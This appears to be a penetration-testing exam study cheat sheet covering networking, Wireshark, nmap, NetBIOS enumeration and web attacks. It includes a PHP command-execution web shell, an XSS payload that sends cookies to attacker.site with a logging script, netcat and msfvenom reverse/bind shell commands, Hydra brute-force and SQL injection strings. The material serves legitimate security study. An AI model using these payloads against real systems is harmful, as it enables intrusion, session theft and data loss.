Introduction

HTTP(s) Sniffing w/ Wireshark

- Helpful Snippets:
  - `request.method == "POST"`
  - `http & ip.src == 192.168.0.1`
  - `tcp.port == xx`
  - `tcp.srcport == xx`
  - `http.request`
- After Capturing
  - `Follow` - > `TCP Stream`

OSI Model

- Each layer serves the layer **above** it
- Through the process of encapsulation, the lower layer passes off its payload as the **HEADER** AND **PAYLOAD** for the upper layer... That lower layer's header is what directs it to go up.

Networking

- Reserved IPv4 Addresses
  - `0.0.0.0` - `0.255.255.255` represent "THIS network"
  - `127.0.0.0` - `128.255.255.255` represent the local host (your pc)
  - `192.168.0.0` - `192.168.255.255` reserved for private networks
- Check listening ports and current TCP connections
  - `netstat -ano` on windows
  - `netstat -tunp` on linux
  - `netstat -p tcp -p udp lsof -n -i4TCP -i4UDP on MacOS` (Yes, really typed like that...)

Gateway, Subnet...etc

- To identify a host, you need BOTH the IP Address AND the netmask to tap its network
- To get subnet size/ CIDR, take the netmask and convert it to binary... Count how many "1" bits are in a row and that will be the total /19 or /24 ...
- EX: `10.54.12.0/24` (10.54.12.0/255.255.255.0)
  - `255` in binary has 8 "1" bits. So if we do 2^8, we get the number of addresses at that subnet which is 256 addresses.
- `10.54.12.0` is the network address or `Gateway`/ router
- `10.54.12.255` is the `BROADCAST` address

Routing

- Default Address of `0.0.0.0` is used when the router receives a packet whose destination is an `UNKNOWN` network
- Helpful Snippets:
  - `ip neighbour` (linux to get the ARP cache)

    - `arp -a` (linux + windows ARP table)
    - `ip route` Linux Routing Table
    - `route print` on windows
    - `netstat -r` on OSX
- Switches without VLANs DO NOT segment networks, routers can be used to segment them if need be
- Devices to watch out for to pivot/ route
    - Printers, fileserver, web server, or anything like that in the ARP table
- If stuck on the exam, Full Stack Analysis with Wireshark touches on finding other routers with Wireshark
- Add Route Example
    - Our `tap0` VPN IP: `10.175.34.100`
    - Target Machine IP: `192.168.222.199`
    - Target Network: `192.168.222.0/24`
    - Our Gateway IP (`tap0` vpn ip to match other servers there): `10.175.34.1`
    - Query to add:
        - `ip route add {TARGET NETWORK} via {OUR NETWORK} dev {vpn interface}`
        - `ip route add 192.168.222.0/24 via 10.175.34.1 dev tap0`
        - call, `ip r` and you will see it added to our ip table and you can access it now!
        - Other Queries also working:
            - `ip route add {TARGET NETWORK} via {OUR NETWORK}`

Firewalls

- Firewalls have filters packets through the following actions
    - `Allow`: packet is able to pass
    - `Drop`: Drops the packet without an error message or anything to the source
    - `Deny`: Deny passage WITH an error message
- IMPORTANT - Interview-Esque Questions
    - Typical firewalls can ONLY filter traffic by IP addresses, ports, and protocols
    - Layer 7 (Application Layer) firewalls are able to inspect content and do more than traditional Firewalls
    - Firewalls can also be used to implement NAT
    - In DNS, it's the RESOLVER SERVER which actually translates things through the Domain Name System. So the resolver is the server that does that operation and is hosted by your isp or whoever, like openDNS or whatever you use.

Wireshark Helpful Snippets

- Note: These are like classes... sort of. So you can do ip.**addr** ip.xyz

    - `http.request.method == GET`
    - `tcp.stream eq 0` (will show the first tcp stream, if we change it 1 it will show us a whole different stream if available.)

- VIEW → Menu Resolution → Enable Mac Layer - Shows you the mac addresses and is helpful in trying to find other devices/ routers. Do arp filter then check on it.

- A - Record or A in DNS is the (Host Address). So if we capture DNS data we can see the type of the request sometimes is of type: A (Host Address), it is literally an IP of the machine.

- To see just successful ports egress check
    - `tcp.seq==1 and tcp.ack==1` - fast way to check inbound/ outbound during an egress check, use this in Wireshark after capturing the traffic

Web & Cookies

- Using console and cannot use BurpSuite:
    - EX: `openssl s_client -connect targetSite.com:443`
    - flag `-quiet` to stop it from using verbose mode
    - Once connected we can do OPTIONS to see what's allowed, PUT can allow us to put a shell on the target
- Standard Cookies (local/ client-side)
    - If cookie domain is not specified it will be restricted to just the immediate server and will not pass to other sub.domains.com.
    - Adding `http.only` flag when setting up a cookie protects against XSS and other attacks that might allow reading of that cookie.
    - Adding a `secure` flag in a cookie will only send cookies on HTTPS connections
    - When hijacking cookies, first make an init request to have the site generate us a cookie, THEN we can manipulate that and insert our own before submitting a GET request to the site with the weaponized cookie
- Session Cookies (server-side)
    - Slightly less secure to hide some of how the site functions, token-based
    - Can be submitted through GET links, EX: https://coolsite.com/index.php&sessid=kw3r9
    - PHP Sites use: `PHPSESSID`
    - JSP Sites use: `JSESSIONID`
    - Web dev can set their own custom parameters though instead of the examples above for PHP & JSP.
    - So biggest difference between HTTP and HTTPS are within the SSL/TLS handshake

---

Penetration Testing

Information Gathering & Scanning

- Subdomain Enumeration
    - `cert.sh` - By far the best, a website that outputs TONS of subdomains based on certs domain checks

    - Go to a target site's cert details in the browser, it will show other subdomains as well if it's a shared cert
        - Careful from wildcard certs as they will return a subdomain for anything searched/ queried. Ex: notrealsub.google.com will return valid if wildcard cert is on it.
    - Use Sublist3r or `dnsdumpster.com`
    - `VirusTotal.com` search for a domain

- Ping Sweep: Used to create a map of a network

    - IMPORTANT: Use two tools to confirm everything is good, fping AND nmap. Nmap, if you don't need output remove /dev/null
    - nmap is the defacto choice, as it allows you to input a list of ip ranges and much more
        - `nmap -sn 10.10.10.3-222`
        - To force nmap os detection of a host even if it returns an error, try nmap -Pn -O TARGETIP (Note: This is very noisy)
        - More accurate OS scan: `nmap -sT -O TARGETIP/Range` (SYN-TCP based)
    - `fping -a -g IPRANGE`
        - `-a` flag, we want to see only hosts that are available (alive)
        - `-g` flag, we want this a ping sweep and not a standard ping request
        - To hide offline hosts error messages use `2>/dev/null` at the end of the command ex: `fping -a -g 10.10.10.2 10.10.10.222 2>/dev/null` will show us only valid and alive hosts (CAN BACKFIRE, sometimes skips hosts with all ports closed)

- Port Scanning

    - `-sS` flag - Stealth scanning in nmap is decent against firewalls but can still be detected by some IDS. It's a SYN scan that drops the 3-handshake communication before connecting, which makes the service on the port unable of detecting it.
    - `nmap <scan type> 10.10.10.3,6,9` will only scan hosts 10.10.10.3 then ...10.6 ... 10.9
    - DO NOT give up on `filtered` ports (request is blocked by FW/ IDS), try to force them with `-Pn`

Vulnerability Assessment

- Much more linear than pentesting and less effective as we have no way to prove those vulns are actually exploitable
    - Scan probes to verify a vuln is can lead to false positives
- Typical approach (rather than cycle): Engagement → Information Gathering → Footprinting & Scanning → Vulnerability Assessment → Reporting
- Assessments on custom applications are more arduous as you have to more manual work than running several scanners

Web Attacks

- Banner grabbing:
    - Can be obfuscated as admins can change the banner info. That's where automated tools like httprint excel, it will pick that up (signature-based)
    - Netcat (Manual: HTTP-ONLY)

```
nc <target address> 80
HEAD / HTTP/1.0 #NOTE: PUT TWO EMPTY LINES AFTER! Also make sure the request is
```

- If the banner grab is unsuccessful, it's probably because you left out the two extra empty lines after the request HEAD... that being the two empty lines after which the body goes if we had any.
    - Sometimes might get lucky and get even OS running on that server
- OpenSSL (Manual: HTTPS)
    - `openssl s_client -connect target.site:443`
    - `HEAD / HTTP/1.0`
- httprint (Automated)

```
httprint -P0 -h <target hosts> -s <signature files>
httprint -P0 -h 1.2.3.4 -s /usr/share/httprint/signatures.txt #Example
```

- HTTP Verbs
    - `OPTIONS` gives us enabled HTTP verbs on the host
    - IMPORTANT: REST APIs use PUT/ DELETE to save files as normal operations, so do not report *ANY* verbs found without veryfing their impact
    - `PUT` is the most dangerous as it uploads files to a server. NOTE: Must write the correct size of the uploaded content

```
PUT /path/to/destination HTTP/1.1
Host: www.website.com


<PUT data>
```

```
# Example
nc vicitm.site 80
PUT /payload.php HTTP/1.0
Content-type: text/html
Content-length: 20 # NOTE: You have to have know length of the contents
# before sending, wc -m payload.php gives us length in bytes
```

    - Great shell that works with `PUT`:

```
<?php
if (isset($_GET['cmd']))
{
  $cmd = $_GET['cmd'];
  echo '<pre>';
  $result = shell_exec($cmd);
  echo $result;
  echo '<pre>';
}
?>
```

        - We can now send requests on the site with `victim.site/shellweUploaded?cmd=cat /etc/passwd`
    - `Delete` is another dangerous verb to lookout for - Deletes files off a server (DoS/ Data Loss)

```
DELETE /path/login.php HTTP/1.1
Host: www.website.com
```

    - `POST` parameters (form data) only work in the message body
- XSS: stealing cookie content and sending it to an attacker
    - XSS to insert on target:

```
<script>
var i = new Image();
i.src="http://attacker.site/log.php?q="+document.cookie;
</script>
```

    - PHP script to store captured data on our c2:

```
<?PHP
    $filename="/tmp/log.txt"; // Where to save, this file should be already cre
    $fp=fopen($filename, 'a');
    $cookie=$_GET['q']; // the parameter to store the cookies/ whatever command
    fwrite($fp, $cookie);
    fclose($fp);
?>
```

Passwords

- John the Ripper
    - `unshadow passwd shadow > crackme` - Sets the pass/ shadow in a format john will accept to begin cracking on crackme
    - `john --wordlist=/usr/share/SecLists/Passwords.txt --pot=hashestocrack hashestocrack` - Will overwrite the john pot file in case you want to run multiple attempts on the same file in the same session.
    - `john --incremental --users:<list of users or just one EX: Brian> crackme` - NOTE: Incremental is not meant to be used with a wordlist and will attempt typical brute-force. Will only attempt specified users instead of going through all.
    - `john --wordlist --users:victim1,victim2 crackme` - Uses default wordlist for a dictionary attack
        - `john --wordlist=/usr/share/wordlist/rockyou.txt --users:vitcim1 crackme` - Using custom wordlists

NetBIOS

- Why is NetBIOS great to enumerate? Gives us information about:
    - Network Shares

    - Hostname
    - NetBIOS name
    - Domain
- `\\ComputerName\C$` - allows us to access a disk volume on the share. (C, D, E$...)
- `\\ComputerName\admin$` - Gives us the Windows installation directory
- `\\ComputerName\ipc$` - (Can't be viewed in explorer, stick to the terminal) Taps/ communicates directly with processes running on that network. For a null session: `net use \\<IP ADDRESS>\IPC$ "" /user:`
- Enumeration
    - `nbstat -A 10.10.10.222`
    - `<00>` - Means that this machine is a CLIENT
    - `<20>` - Means file sharing is enabled on that machine. Enumerate it further, this is of most importance.
        - `NET VIEW <TARGET MACHINE IP>` - To enumerate the file sharing on that machine
        - NOTE: To enumerate on linux use `nmblookup -A 10.10.10.222` or even better, `smbclient -L \\10.10.10.222 -N` where flag `-N` is to omit NetBIOS requesting a password
    - `UNIQUE` - Means that machine can have only 1 IP assigned to it
- `enum4linux -n 10.10.10.222`
- `nmap -script=smb-brute 10.10.10.222` - Quickly gives us a login and password for users

Meterpreter

- `reverse_tcp` - Will attempt to connect back to our (attacking) machine. (Helps evade FW, if you choose the right port)
- `bind_tcp` - Creates a server-process on the victim machine waiting for us to connect to it.
- When navigating a Win machine, make sure to escape the `\`, so instead of `cd C:\` it should be: `cd C:\\`
- Popular commands:
    - `route` (IMPORTANT) - Gateway info and routes
    - `getsystem` - Automatic PrivEsc, if possible. Won't work in modern Win machines, use `bypassuac` instead which is a separate exploit (Set session to background, then set bypassuac, afterward attempt getsystem again).

Helpful Commands

- `nmap -sn 10.10.10.22/24 | grep -oP '(?<=Nmap scan report for )[^ ]*'` Clean nmap ping sweep - WARNING: can omit some alive hosts out
- `nc -v 127.0.0.1 8888` will let us contact a listening port on the target address here localhost. This is not to be confused with the listener we typically use in reverse shells `nc nvlp 8888`. The first command is used to call the second command and establish a connection.
- For a simple shell if the target host has nc:
    - On target host: `nc -nvlp 1337 -e /bin/bash` where `-e` executes any command.
    - On our machine: `nc -v 127.0.0.1 1337` of course, instead of localhost, insert the target IP.
- SQLi:
    - `' UNION SELECT null; -- -` - Basic union injection, extra dash to avoid browsers removing trailing space. Of course, keep adding nulls till we get a result.

    - SQLMAP: `sqlmap -u 'http://vuln.site/view.php?id=203' -p id --technique=U` - Enum id parameter and use UNIONs
    - `substring('entry', x, y)` - Used as a boolean if `' or 1=1` or alternatives are blocked where x = index/ position of char, and y = length of entry (1 per word/ entry).
        - This is really used for predicting DB names and enumerating them by hand, instead SQL does all this work for us.
        - EX: User if user() = root@localhost is signed into the DB, we can check that:
            - `SELECT substring(user(), 1, 1)` Returns `1` if root is signed in
    - `user()` - Tells us current user logged into the DB
- Hydra
    - HTTP-POST login dictionary `hydra crackme.site http-post-form "/login.php:usr=^USER^&pwd=^PASS^:invalid credentials" -L /usr/share/wordlist.txt -P /usr/share/passList.txt -f -V`, where flag `-f` is to stop the attack as soon as we find one successful result,
    - SSH Attack `hydra 10.10.10.222 ssh -L /usr/share/userList.txt -P /usr/share/passList.txt -f -V`
- Port forward: `echo 1 > /proc/sys/net/ipv4/ip_forward`
- Arpspoof: `arpspoof -i <interface> -t <target ip> -r <host ip>`, NOTE: `-t` address is the source ip (often the victim) and the `-r` is the destination ip. In a MiTM, we are between them.
    - `arpspoof -i eth0 -t 10.10.10.222 -r 10.10.10.240` - Will intercept traffic in that .222-240 range, this is where Wireshark would be of great help.
- To confirm a blind RCE, you can use a time test out if you really have RCE. Ex: send `sleep+5` and see if the request takes 5 seconds to come back in burp.
- `msfvenom -p linux/x64/shell/reverse_tcp lhost=<Attacker IP> lport=443 -f elf -o 443` - Simple msfvenom reverse shell
- `msfvenom -p php/reverse_php lhost=<Attacker IP> lport=443 -o revShell.php` - Simple php reverse shell, use with metasploit to get meterpreter later on if possible.
    - `use post/multi/manager/shell_to_meterpreter` - To upgrade from a simple shell

Good to Know

- When testing for SQLi, don't just stop at the web UI once you find an injection, use burp to inject into:
    - Headers
    - Cookies
    - POST: Helps circumvent client-side input validation
- Use scp to download files to our local machine: `scp root@10.10.10.222:/etc/passwd .` - where root=victim along with the victim ip
- SQLi can also allow us to nuke DBs where we are allowed to delete things, insert a true statement and the DB will be nuked.
- UNION SQLi is faster and is less prone to crashing the system. So when running SQLMap, try to select a technique instead of leaving it empty which can possibly crash the target host
- A full dump can also crash the system, so dump only specific tables/ columns to be less noisy
- Backups are typically stored in .bak, .old, .txt, and .xxx. So if we want to find any backups on a site run gobuster against those.c
- Directory Enumeration
    - If gobuster/ dirb are being blocked, you might need a User Agent to emulate browser traffic and snag some dirs. Ex: `dirb http://targetsite.site -a "Mozilla/ browser`

`agent we copied from an online source"`
- Adding a cookie can give more results with gobuster/ dirbuster. EX: `dirb http://targetsite.site -c "COOKIE:XYZ"` copy the
- Adding a basic auth can also bring up more results `-U` in gobuster, and in dirb: `dirb http://targetsite.site -u "admin:password"`
- `-x txt,php,/` to include directories with the file extensions search in gobuster

Important Last Minute Reminders:

- Once you compromise a machine, cat the /etc/hosts to find any virtual hosts you might need later on. Was crucial in the labs.
- MUST do a full port scan with nmap, the labs had many with some close the 65k ports.
- Very fast nmap scan for full ports `sudo nmap -T4 --open -sS --min-rate=1000 --max-retries=2 -p- -oN full-scan 10.10.10.x` T5 is not much faster and risks skipping some ports.
- For web: After you get some creds, try to pipe them into gobuster for an authenticated traversal.
- Make sure to keep your machine's new IP in mind when scanning. As dumb as it might sound, it can trip you up after a few boxes.
- To see just successful ports with an egress check:
  - `tcp.seq==1 and tcp.ack==1` - fast way to filter outbound requests during an egress check, after capturing the traffic with Wireshark, etc.
- When doing a scan, if a host has ALL ports closed, it's a CLIENT
- When scanning for service versions, to get more information about the operating system and such, grab the banner for that open port with nc.
- If SQLi does not work right away, try appending commends instead of using a boolean:
  - Instead of `page?id=21' or 1=1 -- -`, insert the next statement directly, `page?id=21 AND SELECT ...`
- If a specific dictionary list is giving you troubles with Hydra-particularly, check if the list has a comment on top and remove it.